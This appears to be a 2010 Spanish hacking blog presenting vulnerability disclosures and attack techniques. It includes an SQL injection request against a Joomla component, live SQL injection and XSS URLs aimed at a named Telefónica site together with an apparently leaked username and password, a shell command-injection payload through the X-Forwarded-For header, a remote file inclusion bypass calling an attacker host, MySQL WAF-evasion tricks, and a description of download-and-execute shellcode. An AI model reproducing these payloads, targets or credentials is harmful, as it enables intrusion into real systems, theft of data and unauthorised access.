Personal information:

A Coruña, Galicia, Spain

sábado, 20 de noviembre de 2010

FuzzMe, please!

Saludos a tod@s!,

a través de Linkedin, he encontrado algo de información útil a la hora de desarrollar fuzzers en general, y aquí estamos para recomendárosla!

En los siguientes links, podréis leer una aproximación a los distintos tipos de fuzzers a programar,las cosas básicas a tener en cuenta cuando los desarrollas, etc...

[+] Fuzzing?: Buzz on Fuzzing

[+] Aumentar la cobertura de fuzzeo: Metrics and Coverage

[+] Fuzzing XML: XML

Espero que os sea útil, pillines!

-H4ppyH4ck1n9-

lunes, 1 de noviembre de 2010

Sybase Advantage Data Architect "*.SQL" Format Heap Oveflow

Saludos!,

como explican en la web de Sybase:

"Advantage Data Architect Utility: A complete data management system for Advantage developers.
Advantage Data Architect assists in designing, creating and maintaining the database layer of a developer's applications
."

ADA es una utilidad que entre todas esas cosas, actúa como cliente para realizar consultas a las bases de datos de los servidores de Sybase como, por ejemplo,Advantage Database Server.
Concretamente para automatizar y agilizar esta tarea, ADA permite ejecutar scripts de código SQL programados por nosotros mismos.

El problemita reside en que la aplicación reserva memoria insuficiente para almacenar el contenido del script después de convertirlo a UNICODE; esto conlleva a la sobreescritura de un puntero a funcion (algún tipo de SEH), y de otras tantas variables necesarias para el programa.
Al acceder a una de estas variables sobreescritas se produce el ACCESS VIOLATION, y acto seguido se dispara el manejador de excepciones que anteriormente nos hemos
apropiado (p0wnd!):



Como se puede apreciar y ya comenté antes, nuestros datos se convierten a UNICODE, por lo que tendremos que ingeniárnoslas para que EAX contenga algún puntero interesante que cumpla esa condición, además de construir una shellcode funcional (podeis ver cómo crearla en la revista Phrack, aquí y acá).

[+] Un posible PoC:



Nota: no es suficiente con abrir el fichero desde la aplicación; una vez hecho esto, se nos mostrará el contenido del script.Escribiendo algo en él, se disparará el error.

-H4ppyH4ck1n9-

sábado, 23 de octubre de 2010

HP Data Protector Media Operations 6.11 HTTP Server Remote Integer Overflow DoS

Hola de nuevo!,

hace un par de post (aquí) hablamos sobre una denegación de servicio en esta aplicación de HP.
De nuevo, otra denegación de servicio ha sido encontrada pero esta vez en el servidor HTTP que el módulo DBServer.exe implementa en el socket TCP/80.

Esta es disparada cuando el cliente envía al server una petición POST con un contenido suficientemente largo, como mínimo 0x8000 bytes.

Cuando el servidor se para a manejar la longitud de esta petición lo hará de forma incorrecta, manipulándola sin comprobaciones y como si se tratase de un signed int:



Esto conlleva a un comportamiento inesperado del flujo de ejecución, que por el camino inicia un puntero a 0x00 y es desreferenciado más adelante:



Bajo estas circunstancias este bug no puede ser explotado.

El PoC:



-H4ppyH4ck1n9-

sábado, 16 de octubre de 2010

Novell eDirectory DHost Console 8.8 SP3 Local SEH Overwrite

Buenas a tod@s!,

acabo de encontrarme con un stack overflow en la consola (DHOSTCON.exe) para el servicio DHOST.exe de Novell eDirectory, en el cúal suministrando en la entrada un string suficientemente largo (1074 bytes) podremos sobreescribir el SEH, y alcanzar la ejecución de código de forma local.

Esto se debe a la ausencia de comprobaciones que deberían aplicarse a los parámetros suministrados por el usuario; así, los argumentos son copiados a pelo a un búfer de tamaño fijo,y claro está que menor que nuestro string :) .

En el screenshot inferior se puede apreciar el SEH sobreescrito, la dirección que contiene el PPR al que salta, y nuestro shellcode (INT3 - 0xCC):



Aquí el PoC:



-H4ppyH4ck1n9-

miércoles, 6 de octubre de 2010

HP Data Protector Media Operations 6.11 “DBServer.exe” NULL Pointer dereference Remote Denial of Service

Buenas a tod@s!,

otro bug (pre-auth) en esta aplicación de HP, causado por un puntero inicializado a 0, que gracias a nosotros permanecerá en ese valor y será desreferenciado :).

Si estáis interesados, aquí podréis encontrar más información.

[+] PoC:



Sed buenos :)

-H4ppyH4ck1n9-

domingo, 3 de octubre de 2010

Bypassing SEHOP

Pues si, un nuevo método anda circulando por la red.
Se trata de un nuevo bypass de esta protección, que podréis encontrar bien explicadito
aquí.

Es interesante y está bien saberlo ;)

-H4ppyH4ck1n9-

viernes, 10 de septiembre de 2010

HP Data Protector Media Operations 6.11 NULL Pointer Dereference Local DoS

Os traigo un bug en este conjunto de aplicaciones de Hewlett-Packard, el cúal provoca una denegación de servicio a sus usuarios legítimos si estos intentan operar con un fichero especialmente creado para el tema.

El fallo reside en los módulos "DBTools.exe" y "DBServer.exe", únicamente explotable de forma local en los dos casos.

Una breve y rápida descripción de como manipular dicho fichero, sería decir que se trata de el formato ".4DC" (.4DC - 4th Dimension provide software
solutions to business problems),cuyo header está compuesto por 0x24 bytes que contiene el Signature, comienzo del Image Data,etc... y concretamente, el offset +8 es usado como un puntero a una zona del propio fichero en donde guarda un valor que representa el número maximo de secciones que tiene(no estoy seguro de que es exactamente :( ):



Manipulando los bytes contenidos en el offset al que apunta, ejecutándo los módulos y cargando nuestro archivo, podremos comenzar a depurar.

Traceando podremos llega la zona en la que se realiza el siguiente CALL; y vemos en el stack la variable [ESP+14] que es igual a 0x00000000:



En una situación normal, veríamos que el CALL anterior encuentra lo que anda buscando usando el WORD que contiene nuestro byte como índice en una estructura de datos (ignorando el posible integer overflow :) ):



Si tiene éxito, la variable [ESP+14] cambiará su valor; pero cambiando dicho byte a un valor de los siguientes [0x1-0xA], ambos inclusive, el CALL anterior no tendrá éxito, y [ESP+14] seguirá siendo NULL:



Más adelante este valor se carga en EAX y es desreferenciado , provocando un "crash" de la aplicación:



En el caso de "DBTools.exe" basta con ejecutarlo y abrir el fichero.
En "DBServer.exe", tendríamos que sustituirlo en su directorio de instalación, ya que lo carga automáticamente al iniciarse la aplicación.

Un apunte, "DBServer.exe" por defecto es autoiniciado con el SO como SYSTEM, así que en el caso de ejecutar algún tipo de código arbitrario podría producirse un Privilege Escalation.

Podréis encontrar un PoC aquí.


-H4ppyH4ck1n9-

domingo, 5 de septiembre de 2010

Google?

Buenas, malabaristas!

Esta vez comentaré algo que me llamó la atención cuando lo descubrí, así que no me parece mala idea darlo a conocer, espero que os guste ;).

En una ocasión, el Maligno comentó en su blog un motor de búsqueda desconocido para mi: Shodan.
"Uno más, que le den." pensé, pero ERROR!

Shodan es un motor de búsqueda que NO busca en las páginas alojadas en servidores web, como viene siendo lo "normal", si no que está preparado para buscar en los banners de cualquier tipo de server. Por ejemplo, aquí servers web o routers, todos robustamente protegidos (admin:admin?):

http://www.shodanhq.com/?q=apache
http://www.shodanhq.com/?q=IBM
http://www.shodanhq.com/?q=cisco

Aparte de lo que seguramente todos acabamos de pensar (bien! ya puedo localizar un host que use X server en concreto y de todo!), y al igual que pasa con algunas búsquedas en Google, podemos encontrarnos con cositas todavía más interesantes :)~~.

Imaginad, entre lo que rebusca Shodan, y lo poco que se lo curra la gente por evitar las fugas de información, puedes ver hasta lo que hace tu novi@! En realidad no, pero si puedes encontrar sistemas SCADA (Supervisory Control And Data Acquisition), usados para controlar los procesos de un sistema autónomo, por ejemplo el de una fábrica, depuradora...WTF!?.

http://www.shodanhq.com/?q=labview
http://www.shodanhq.com/?q=LV_HTTP

Aunque por suerte no se puede juguetear con la mayoria (yo no digo ná), podemos hechar un vistazo. Foto!!



Por si queréis más información, en la BlackHat de este año le dieron caña al tema:
https://media.blackhat.com/bh-eu-10/presentations/Arlen/BlackHat-EU-2010-Arlen-SCADA-slides.pdf
Referencia: http://www.elladodelmal.com/2010/05/shodan-y-sistemas-scada.html

-H4ppyH4ck1n9-

jueves, 5 de agosto de 2010

BlackHat 18

Aquí teneis los papers sobre los temas de este gran evento:

BlackHat

Para no salir de casa en un mes.

-H4ppyH4ck1n9-

domingo, 25 de julio de 2010

Un aplauso para Apple!

Desde Secunia nos llega este informe con las empresas que han generado más software vulnerable este medio año que llevamos. Como podréis ver, el podio esta formado por:

1º Apple
2º Oracle
3º Microsoft

Cabe destacar que es en las aplicaciones de terceros en realidad donde existe un aumento de estos fallos.
Como no, siempre está bien saberlo :)~ .

-H4ppyH4ck1n9-

viernes, 23 de julio de 2010

Ubuntu 10.04 LTS - Lucid Lynx ftp Client v0.17-19build1 ACCT Buffer Overflow

EL cliente ftp en Ubuntu 10.04 contiene un desbordamiento del búfer que provoca que el programa cese su ejecución; puede dispararse a través de la orden ACCOUNT (ACCT) estableciendo como primer argumento un string de 128 bytes.

Más detalles: aquí.

-H4ppyH4ck1n9-

sábado, 3 de julio de 2010

AIMP 2.61.570 Local Buffer OverFlow (SEH)

Buenas delincuentes!

Vengo para informaros de un bug en el reproductor AIMP, un desbordamiento de buffer que permite sobreescribir la direccion del seh, un poco lo de siempre.

Este fallo es disparado al abrir un archivo mp3 que cumpla con el estandar ID3v1/ID3v2 Tag (http://es.wikipedia.org/wiki/ID3) y que a su vez este manipulado.

Un ejemplo puede ser este mismo:

http://exploit-db.com/sploits/2009-aimp2_evil.mp3

usado en un fallo similar en una version anterior...ya veis.


-H4ppyH4ck1n9-

miércoles, 23 de junio de 2010

winXP (32bits) SP3 URLDownloadToFileA + CreateProcessA + ExitProcess ASM Code - 176 bytes

Buenas a todos.
Este es un posible código fuente, más bien del montón, para un shellcode que descarga un fichero desde un host remoto, lo ejecuta y sale del proceso.

El código calcula la longitudd el nombre del archivo, para mas tarde sumarsela como desplazamiento a un CALL para corregir la distancia a la que se encuentra, que varía con la longitud del nombre del archivo que queremos descargar.
Mas tarde consigue los desplazamientos de memoria en los que esta situada la URL y el nombre del archivo a descargar, los almacena , procede a llamar a las APIs que se encargan de todo.
Aquí lo tenéis (UPDATED: EXPLOIT-DB aquí), para masm32, seguramente pueda reducirse bastante su tamaño:



Si observáis los opcodes habrá multitud de bytes nulos jeje así que recomiendo encodear la shellcode antes de usarla, y acoplarle alguna rutina de descifrado que se ejecute antes que la shellcode, claro...

-H4ppyH4ck1n9-

sábado, 5 de junio de 2010

Joomla Component com_searchlog SQL Injection

Vulnerabilidad en com_searchlog, pronto en exploit-db. Un adelanto del post ;) :
(ACTUALIZADO: post aqui)
http://VICTIM/administrator/index.php?option=com_searchlog&act=log

POST /administrator/index.php?option=com_searchlog&act=log HTTP/1.1
Host: VICTIM
Content-Type: application/x-www-form-urlencoded
Content-Length: xxx
search=[SQLi]
&sort=calls&limit=20&limitstart=0&option=com_searchlog&act=log&task=&callbase=1&boxchecked=1&hidemainmenu=0

Where [SQLi] = someLogExisting') and 1=1# => true
someLogExisting') and 1=2# => false

UNION SQLi = someLogExisting') union select 1,2,3,4,5,6,7,8#

-H4ppyH4ck1n9-

viernes, 4 de junio de 2010

Joomla Component com_djartgallery Multiple Vulnerabilities

Buenas noches, este componente contiene un XSS en la administracion, y ademas tambien puede ser explotado con Blind SQL Injection, aquí teneis el link.

-H4ppyH4ck1n9-

jueves, 3 de junio de 2010

Joomla Component com_jsjobs SQL Injection Vulnerability

SQL Injection debido a la ausencia de saneado de la variable 'cid', aqui teneis el post.

-H4ppyH4ck1n9-

domingo, 16 de mayo de 2010

be secure, my friend...

Supongo que todos conocémos Timofónica no?:

[sqli] http://pulso.telefonica.es/articulo.php?id=-70%27/*!UNION%0bSELECT%0b1,2,3,4,5,6,@@version,8,9,10,11,12,13,14,15*//*&id_submenu=11

[xss] http://pulso.telefonica.es/resultado_busqueda.php?busca=%27%3E%3Cscript%3Ealert%28%22XSS%20by%20r0i%22%29;%3C/script%3E%3C

ahora podremos conocerla mejor >:)~...

user: sample
password: FF6ECAE8

-H4ppyH4ck1n9-

sábado, 1 de mayo de 2010

mod_VisitorData 1.1 Joomla! Remote Code Execution

Gracias a mi colega CH1P D3 BIOS, que descubrió una vulnerabilidad en el código del módulo mod_VisitorData, fuimos capaces de explotar el fallo en la programación de este, el cual puede ser calificado de Remote Code Execution (RCE).

La vulnerabilidad la podréis ver en el siguiente fragmento de código:



Este condicional IF comprueba si X-Forwarded-For aparece en la cabecera HTTP.
De ser así, obtendría nuestra IP de el contenido de esta variable del servidor, y no de REMOTE_ADDR, como suele suceder.
Entonces,si insertamos la cabecera X-Forwarder-For, tomará su contenido como el valor de nuestra IP, sin ningún tipo de filtrado de carácteres ni ná, y ejecutará el siguiente comando:

$whois ="whois " . $_SERVER['HTTP_X_FORWARDED_FOR'] ." | grep netname";

Jugando con la terminal, se puede comprobar que puede ser bypasseado, y manipulado para que cumpla nuestros deseos :D:

X-Forwarded-For:;[command-here];1

Por ejemplo, lo que daria lugar a:

~$whois ; [command-here];1|grep netname

Provocando un par de errores, pero ejecutando nuestro comando.

Gracias a Chip D3 Bios por su descubrimiento!!

-H4ppyH4ck1n9-

Otra finta mas :)~

Seguro que ya muchos conoceis el uso de los paréntesis en las consultas MySQL para evitar los espacios entre palabras (ej: (1)and(1) ).
Pues resulta que el motor de base de datos MySQL interpreta el caracter "%0b" como un perfecto sustituto de los espacios en blanco, permitiéndonos realizar consultas inyectadas más directamente :D :

vuln.php?foo=99%0band%0b1=1--

mucho mas sencillo, y con una funcionalidad mayor, que:

vuln.php?foo=(-99999)and(1=1)--

Claro, esta es otra forma con la que podemos evitar los WAF's, así que ya sabeis..

-H4ppyH4ck1n9-

sábado, 17 de abril de 2010

Bypasseando filtros RFI PHP 5.0.0

Hace nada he leído en undersecurity.net (http://foro.undersecurity.net/read.php?15,7047,7047#msg-7047) una entrada escrita por Seth, en la que nos explica una manera novedosa de evitar los filtros programados en las web PHP (>=5.0.0) para contrarrestar la inclusión remota de archivos.
La técnica consiste en las envolturas PHP, o PHP Wrappers (http://us2.php.net/manual/en/wrappers.php.php), dandoles el uso visto en el post de Seth, tal que:

http://victima.com/inc.php?page=php://filter/resource=http://atacante.com/rfi.php?

Un aplauso para Seth ;).

-H4ppyH4ck1n9-

domingo, 14 de febrero de 2010

Bypasseando WAF con comentarios MySQL

Acabo de enterarme de una opción que disponen las bases de datos MySQL, la cual permite ejecutar una consulta contenida entre comentarios (/*sql*/).
Si al comienzo del comentario, incluímos un signo de exclamación " ! ",seguido de un número menor que el de la versión del DBMS, éste ejecutará dicha petición.
En teoría esto, si lo aplicamos dentro de un UNION, nos permitiría bypassear al WAF >:).

Un ejemplillo:

-Imaginemos que esta es la consulta que llega desde un servidor web, con $_GET["user"]="USUARIO";

mysql> select host from user where user='USUARIO';
+------------+
| host |
+------------+
| 127.0.0.1 |
| MyDebian |
| localhost |
+------------+
3 rows in set (0.00 sec)



-Ahora, con $_GET["user"]="'/*!union select @@version*/";

mysql> select host from user where user=''/*!union select @@version*/;
+------------------------+
| host |
+------------------------+
| 5.0.51a-24+lenny2+spu1 |
+------------------------+
1 row in set (0.00 sec)

Como podemos observar..rula!. Por supuesto, existen variantes de esta consulta, así que os recomiendo jugar un ratito con vuestras bases de datos jeje.
Así, podemos concluir con que tenemos un nuevo golpe que propinar a las BBDD, ya sabéis..Al abordaje!

-H4ppyH4ck1n9-

sábado, 13 de febrero de 2010

Local Buffer Overflow ? ? ?

Supongo que los aficionados al tema conoceréis la siempre ansiada revista SET E-ZINE (http://www.set-ezine.org/), de la que muchos somos lectores y practicantes.

Como aún estoy comenzando en el tema de los Buffer Overflows, al echar un vistazo al índice del nº 37 y ver el artículo Jugando con Frame Pointer, me subió la bilirrubina, así que intentaré explicarlo brevemente.

Resulta que en él, BlackAngel demuestra como desviar el flujo de una aplicación vulnerable al desbordamiento de buffer tan sólo sobreescribiendo la dirección contenida en el Frame Pointer (EBP). Pues esto algo nuevo comparado con el desbordamiento de buffer tradicional, ya que ahí sobreescribiríamos la dirección contenida en el ESP, y como en este mundo tiene que haber de todo, tambien podríamos encontrarnos con programas que no permitan sobreescribir tanto como para llegar al ESP, y nos quedemos a las puertas de éste, en el EBP.

Un ejemplo de un programa asi puede ser el siguiente (by smashthestack.org):



Es un caso parecido al típico, con la particularidad de la funcioncita de marras.
En ella, se calcula el espacio de memoria existente entre EBP y el array de 256 celdas. El puntero i, que ocupa 4 bytes, es pusheado en la pila de manera que queda situado entre EBP y el buffer, de modo que estos 256 bytes de separación que habia en un principio, son en realidad 260, si no contamos con la alineación, optimización, y demás cosiyas de la pila.

Como explica bien bien BackAngel en su artículo, en el epílogo de toda función, hay un momento en el que se deshace el marco de pila hecho en el prólogo de la función, de la siguiente manera:



Pues imaginemos que ésta es el epílogo de la función main().
Vemos que en la primera instrucción el contenido del EBP es pasado a ESP, antes de que el valor del EBP de main() guardado en la pila, vuelva a su sitio y aumente ESP en 4.

Sabiendo que al llegar al ret, EIP retoma su valor de una dirección de memoria (X) a la que apunta la dirección de memoria (Y) que contiene ESP, podemos deducir que.. EIP es nuestro!!! :D.

ESP -> y; y -> x; x = EIP < = Sobreescribiendo EIP..

Por lo tanto, para llegar a la sabrosa ejecución de código árbitrario, deberíamos:

-Sobreescribir EBP con [direccionA]-4 (por que el ESP le suma 4, recordad);
-Conseguir que [direccionA]-4 apunte a la dirección de inicio de la shellcode [direccionB];
-Conseguir la dirección de la shellcode.

Si seguimos los pasos indicados en el artículo, es de lo más sencillo: colocamos en los 4 primeros bytes del buffer la dirección de inicio de la shellcode (que es el contenido de [direccion]-4), en los 4 siguientes la shellcode, en los 4 últimos a [direccion]-4 y el resto con relleno.Oseasé:

[                    BUFFER                 ] [  *i  ] [          EBP         ] [ EIP ]
------------------------------------------------------------------------
[ direccionB ] [ SHELLCODE ] [ RELLENO ] [ [direccionA]-4 ] [ EIP ]



[ direccionB ] -> [ SHELLCODE ] [ RELLENO ] [ [direccionA]-4 ] [ EIP ]
^                                                                     |
o-------------------------------------------------------o



Bueno jeje, aquí termina la explicación teórica, epero que no haya sido muy jodido de leer; la práctica la tenéis en el propio artículo, http://www.set-ezine.org/index.php?num=37&art=3#top , pero podeis probar por vosotros mismos ;).


Gracias a BlackAngel, por impartir tantos papers como pa sustituir el hueco que dejaría la biblia.

-H4ppyH4ck1n9-

miércoles, 10 de febrero de 2010

Expresiones regulares en SQL Injection (MySQL)

Hace tiempo, leí en un paper del famoso Milw0rm en el que OzX explicaba un método mediante el cual reducíamos un pelín las consultas necesarias para extraer información, usando nuestas queridas expresiones regulares, y como no lo he visto comentado en ningun sitio más, una lucecita se me encendió, y por ello estoy aquí, con la intención de explicarlo lo mejor posible.

La forma de construirlas es la siguiente:

[+] SELECT * FROM table WHERE field REGEXP 'expression';

Sencillo, no?
Bien, ahora la complejidad de las expresiones es igual al límite de tu imaginación, como siempre ;).
Para guiarnos un poco, en el lugar de la expresión (expression) podríamos colocar una sentencia como la siguiente:

'(user|pass|login)'

Y encontraría la información necesitada, de existir, que contenga en el campo especificado alguna de esas 3 palabras; como vemos, podemos usar operadores booleanos, pero tambien tenemos otros caracteres, pudiendo llegar a construir expresiones más retorcidas:

'(us[ue]|log[io]n|adm)'

Con esto, conseguimos (como bien explica OzX) algo parecido a la anterior, solo que esta vez mantenemos la raíz de la palabra sin variar, y variamos las demás letras, ampliando el abanico de cadenas a buscar (usuario,users,logon,etc...).

Esto podría ser aplicado para que, por ejemplo nos buscase las tablas que contengan columnas con nombres "sospechosos":

SELECT group_concat(table_name) FROM information_schema.columns WHERE column_name REGEXP '.*((us[ue]|log[io]n|adm)).*';

Devolvería todas las tablas formadas con al menos una columna que contenga en su nombre alguna de las cadenas buscadas.

Esto todo esta muy bien cuando lo introducimos en nuestra shell o gestor favorito de BBDD, pero como lo aplicamos a una inyeccion sql?
Pues, para inyectar estas consultas, tenemos que pasarlas a hexadecimal, quitandole las ', quedando el ejemplo anterior como sigue, explotando una supuesta vulnerabilidad:

news.php?idnew=-1'+UNION+SELECT+ 1,group_concat(table_name),3+FROM+information_schema.columns+
WHERE+table_name+REGEXP+0x2e2a282875735b75655d7c6c6f675b696f5d6e7c61646d29292e2a--

Y ahí queda!

-H4ppyH4ck1n9-